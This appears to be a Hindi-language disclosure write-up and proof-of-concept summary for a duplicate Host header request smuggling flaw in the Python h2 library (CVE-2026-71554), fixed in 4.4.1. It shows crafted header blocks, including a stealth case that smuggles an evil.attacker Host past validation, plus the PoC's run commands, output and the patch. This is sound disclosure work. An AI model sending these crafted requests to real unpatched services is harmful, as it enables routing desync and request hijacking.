
CVE-2026-71554 के लिए PoC - h2 डुप्लिकेट Host header रिक्वेस्ट स्मगलिंग प्राइमिटिव (4.4.1 में ठीक किया गया)
यह मेरा पहला CVE है। मैंने इस PoC को निष्कर्ष का दस्तावेजीकरण करने और दूसरों को इसे समझने तथा पुन: उत्पन्न करने में मदद करने के लिए जारी किया है।
CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg प्रभावित: h2 <= 4.4.0 ठीक किया गया: h2 4.4.1 गंभीरता: मध्यम (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554
h2 की हैडर सत्यापन लॉजिक की समीक्षा करते समय, मैंने देखा कि src/h2/utilities.py में _validate_host_authority_header() यह जाँचता है कि Host और :authority मेल खाते हैं — लेकिन यह केवल अंतिम Host हैडर की तुलना करता है। यदि आप दो Host हैडर भेजते हैं, तो h2 मिलान जाँच के लिए दूसरे का उपयोग करता है और दोनों को बिना किसी आपत्ति के एप्लिकेशन को अग्रेषित कर देता है।
दिलचस्प बात यह है कि h2 4.4.0 पहले से ही डुप्लिकेट Content-Length हैडर को ProtocolError के साथ अस्वीकार कर देता है। वही सुधार Host पर कभी लागू नहीं किया गया। स्रोत कोड में एक TODO टिप्पणी भी थी जो इसी कमी को स्वीकार करती है:
# TODO: We should also guard against receiving duplicate Host headers,
# and against sending duplicate headers.
src/h2/utilities.py में _validate_host_authority_header() एक लास्ट-विन्स लूप का उपयोग करता है जो देखे गए अंतिम Host मान को रिकॉर्ड करता है और केवल यह जाँचता है:
:authority या Host में से कम से कम एक मौजूद होHost हैडर की संख्या पर कोई जाँच नहीं है। प्रत्येक Host हैडर को, चाहे कितने भी हों, डाउनस्ट्रीम एप्लिकेशन को भेज दिया जाता है।
क्लाइंट भेजता है:
:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker
h2 दोनों स्वीकार करता है। एप्लिकेशन को दोनों Host हैडर प्राप्त होते हैं।
HTTP/1.1 डाउनग्रेड निम्न उत्पन्न करता है:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
RFC 9112 s3.2 के अनुसार सर्वर को एक से अधिक Host हैडर वाले किसी भी HTTP/1.1 अनुरोध पर 400 का जवाब देना आवश्यक है। बैकएंड अलग-अलग व्यवहार करते हैं:
nginx — 400 के साथ अस्वीकार करता है
Python stdlib — स्वीकार करता है, लुकअप पर पहला Host लौटाता है
Werkzeug — स्वीकार करता है, लुकअप पर पहला Host लौटाता है
क्लाइंट भेजता है:
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker <- index 0, पहला Host (ऑरिजिन द्वारा देखा गया)
host: good.internal <- index 1, अंतिम Host (h2 वैलिडेटर द्वारा उपयोग किया गया)
h2 सत्यापित करता है: अंतिम Host (good.internal) == :authority (good.internal) — पास।
एप्लिकेशन को दोनों Host हैडर प्राप्त होते हैं। HTTP/1.1 डाउनग्रेड निम्न उत्पन्न करता है:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
जो बैकएंड सिंगल-की लुकअप पर पहला Host लौटाते हैं, वे अनुरोध को evil.attacker की ओर रूट करते हैं, जबकि h2 को विश्वास था कि उसने good.internal को सत्यापित कर लिया है। h2 ने जो सत्यापित किया और ऑरिजिन जो प्रोसेस करता है, उसके बीच पूर्ण रूटिंग डिसिंक।
:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker
h2 ProtocolError उठाता है। यह पुष्टि करता है कि कमी विशेष रूप से डुप्लिकेट Host हैडर से संबंधित है।
प्रभाव डिप्लॉयमेंट आर्किटेक्चर पर निर्भर करता है:
pip install h2==4.4.0
python3 poc_h2_duplicate_host.py
CASE 1 - Two Host headers, no :authority (both forwarded)
h2 forwarded Host headers: ['good.internal', 'evil.attacker']
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: good.internal
host: evil.attacker
CASE 2 - STEALTH: :authority matches LAST Host, first Host smuggled
:authority=['good.internal'] Host(s)=['evil.attacker', 'good.internal']
h2 mismatch check PASSES (:authority == last Host).
Resulting HTTP/1.1 request:
GET / HTTP/1.1
host: evil.attacker
host: good.internal
CONTROL - Single mismatched Host vs :authority (correctly rejected)
[control] SENDER rejected: ProtocolError(...)
pip install h2==4.4.1
python3 poc_h2_duplicate_host.py
तीनों केस ProtocolError उठाते हैं। कोई हैडर अग्रेषित नहीं होता।
_validate_host_authority_header() में मौजूदा लूप में एक काउंटर जोड़ा गया:
host_header_count = 0
for header in headers:
if header[0] == b"host":
host_header_count += 1
yield header
if host_header_count > 1:
raise ProtocolError("Request header block has multiple Host headers.")
कमिट: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6
इसे खोजा और रिपोर्ट किया: Sunand Mohan (https://github.com/SunandM)